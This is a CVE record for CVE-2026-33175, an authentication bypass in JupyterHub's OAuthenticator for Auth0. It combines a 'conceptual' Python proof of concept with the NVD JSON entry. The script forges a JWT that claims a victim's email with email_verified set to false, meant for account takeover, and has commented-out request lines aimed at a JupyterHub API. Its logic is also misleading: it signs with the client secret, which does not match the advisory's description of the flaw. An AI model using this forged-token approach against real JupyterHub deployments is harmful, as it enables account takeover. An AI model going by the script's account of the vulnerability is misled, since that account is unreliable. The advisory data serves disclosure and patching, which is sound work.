CVE-2026-33175

# This is a conceptual Proof of Concept to demonstrate the vulnerability logic. # It simulates an attacker manipulating the token to bypass email verification check. import jwt import datetime # Configuration SECRET_KEY = "your_auth0_client_secret" # Attacker might know this or it might be weak ALGORITHM = "HS256" TARGET_EMAIL = "[email protected]" # Malicious payload: Attacker sets email to victim's email but marks it as unverified payload = { "sub": "attacker_auth0_id", "email": TARGET_EMAIL, "email_verified": False, # Vulnerability: System ignores this check "name": "Attacker Name", "iss": "https://your-tenant.auth0.com/", "aud": "jupyterhub_client_id", "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1), "iat": datetime.datetime.utcnow() } # Generate the malicious token token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM) print(f"[+] Generated malicious JWT token:") print(token) print(f"[+] Sending request to JupyterHub with unverified email: {TARGET_EMAIL}") print(f"[+] If vulnerable, JupyterHub will allow login as '{TARGET_EMAIL}'") # Conceptual request simulation # headers = {'Authorization': f'Bearer {token}'} # response = requests.get('https://jupyterhub.example.com/hub/api/user', headers=headers)

{"cve": {"id": "CVE-2026-33175", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:26.483", "lastModified": "2026-04-15T18:42:03.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OAuthenticator is software that allows OAuth2 identity providers to be plugged in and used with JupyterHub. Prior to version 17.4.0, an authentication bypass vulnerability in oauthenticator allows an attacker with an unverified email address on an Auth0 tenant to login to JupyterHub. When email is used as the usrname_claim, this gives users control over their username and the possibility of account takeover. This issue has been patched in version 17.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jupyter:oauthenticator:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.4.0", "matchCriteriaId": "AD3BB317-293C-4D0B-8065-76735EA8AF80"}]}]}], "references": [{"url": "https://github.com/jupyterhub/oauthenticator/commit/f0c7002dc36e41efae0f674033cf7888a21d96f9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jupyterhub/oauthenticator/releases/tag/17.4.0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/jupyterhub/oauthenticator/security/advisories/GHSA-rrvg-cxh4-qhrv", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}